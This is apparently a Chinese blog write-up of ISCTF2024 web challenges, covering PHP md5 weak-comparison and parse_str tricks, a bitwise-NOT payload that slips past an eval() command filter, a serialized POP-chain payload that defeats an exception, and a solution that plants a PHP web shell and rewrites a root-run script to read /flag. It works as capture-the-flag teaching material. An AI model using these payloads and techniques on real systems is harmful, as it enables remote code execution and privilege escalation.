# ISCTF2024 复现

# 25 时晓山瑞希生日会

htt 头伪造:

伪造日期:

搜索得知 25 时生日会 是在八月二十七举办,伪造日期即可得到 flag

Date: Tue, 27 Aug 2024 12:41:59 GMT

# 小蓝鲨的冒险

<?php
  error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
  $num = $_POST["num"];
  echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
  if($num == 2024){
    die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
  }
  if(preg_match("/[a-z]/i", $num)){
    die("陷阱太多QAQ");
  }
  if(intval($num,0) == 2024){
    echo "到这了难道还要放弃吗?<br>";
    if (isset($_GET['which'])){
      $which = $_GET['which'];
      echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
      switch ($which){
        case 0:
        print('QAQ');
        case 1:
        case 2:
        require_once $which.'.php';
        echo $flag;
        break;
        default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
      }
    }
  }
}

第一层:考察 md5 弱比较和 parse_[str 函数](https://so.csdn.net/so/search?q=str 函数 & spm=1001.2101.3001.7020)

0e 开头后面全为数字,弱类型比较都等于 0,用 s878926199a 绕过

image-20241120215430046

image-20241120215439925

parse_str 把字符串 a [0] 当成变量解析,从而赋值

第二层:num 中不能有字母,还不能等 2024,,同时还要绕过 intval 函数

使用进制转化绕过,八进制中不含字母,可以使用 0 3750 绕过

第三层:直接写个 flag 就绕过了

综上,写入以下 payload 即可绕过:

?b=a[0]=s878926199a&which=flag
num=03750

ezrce
源码如下:

<?php
error_reporting(0);
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
        die("Blocked by security filter!");
    } else {
        eval($cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

利用无数字字母 rce 之取反,即可绕过。脚本如下:

<?php
// 在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

payload 如下:

?cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

# 小蓝鲨的秘密

这题点开链接就是官网,能直接打官网嘛,包不能的,考虑重定向

抓一个点击链接的包即可得到 flag(这个没想到)

image-20241120215631765

天命人
源码如下:

<?php
error_reporting(0);

# 帮天命人搜集法宝,重获齐天之姿!

<?php
class Wuzhishan{
    public $wu="俺老孙定要踏破这五指山!<br>";
    public $zhi;
    public $shan;
    function __get($j)
    {
        echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
        $yin="s214587387a";
        $yang=$_GET['J'];
        if (md5($yin)==$yang&&md5($yin)==md5($yang)){
            echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
            system('cat /flag');
        }
    }
}
class Huoyanjinjing{
    public $huoyan;
    public $jinjing;
    function __get($huo)
    {
        $this->huoyan="火眼能洞察一切邪祟!<br>";
        echo $this->huoyan->jinjing;
    }
    function __invoke()
    {
        $this->jinjing="金睛能看破世间迷惘!<br>";
        echo $this->huoyan->jinjing;
    }
}
class Dinghaishenzhen{
    public $Jindou="一个筋斗能翻十万八千里!<br>";
    public $yun;
    function __toString()
    {
        $f=$this->yun;
        $f();
        return "你真的逃出去了吗?天命人?<br>";
    }
}
class Jingdouyun{
    public $Qishier=72;
    public $bian="看俺老孙七十二变!<br>";
    function __sleep()
    {
        echo "三更敲门,菩提老祖送我筋斗云...<br>";
        echo new Jindouyun();
    }
}
class Tianmingren {
    public $tianming;
    public $ren;
    function __destruct()
    {
        echo "迷途中的羔羊,你相信天命吗?<br>";
        echo $this->tianming;
    }
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');

命令执行部分是个简单的 md5 绕过

0e215962017 的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等

链子部分就正常的构造,链子如下:

Tianmingren->Dinghaishenzhen->Huoyanjinjing->Wuzhishan

先创建 Tianmingren 对象触发 __destruct () 魔术方法
将 tianming 赋值为 Dinghaishenzhen 对象触发 __toString () 魔术方法
将属性 yun 赋值为 Huoyanjinjing 对象,对象被当成函数调用触发 __invoke () 魔术方法
将属性 huoyan 赋值为 Wuzhishan 对象,访问对象不存在的属性 jinjing 触发 __get () 魔术方法

$payload=new Tianmingren();
$payload->tianming=new Dinghaishenzhen();
$payload->tianming->yun = new Huoyanjinjing();
$payload->tianming->yun->huoyan=new Wuzhishan();

然后需要绕过 throw new Exception,反序列化后直接触发抛出异常导致程序不能正常往下走

然后需要绕过 throw new Exception,反序列化后直接触发抛出异常导致程序不能正常往下走

使用数组进行绕过

$exp = array($payload,0);
echo (serialize($exp));

// a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}

将输出 payload 的第二个值索引置空即可绕过异常机制,强制触发__destruct ()

a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里!<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山!<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:0;i:0;}

传入 payload 即可得到 flag
image-20241120215848871

# 小蓝鲨的临时存储室

没有任何限制,php 一句话密码进去,然后发现一段时间被删了,直接 /flag 被拒绝了,那就是 suid 提权

find / -perm -u=s -type f 2>/dev/null

但是这个好像没用

找一下有 root 权限还给看修改的可执行文件

发现根目录下的 /down_file.sh, 进去发现就是它在删 php 文件,直接给它这行代码删了直接加点小料

#!/bin/bash
cat /flag>/111.txt;

最后找到 111.txt,可以打开

image-20241120222032523

image-20241120222040012

获取 flag

Edited on Views times

Give me a cup of [coffee]~( ̄▽ ̄)~*

ztyzty WeChat Pay

WeChat Pay

ztyzty Alipay

Alipay

ztyzty PayPal

PayPal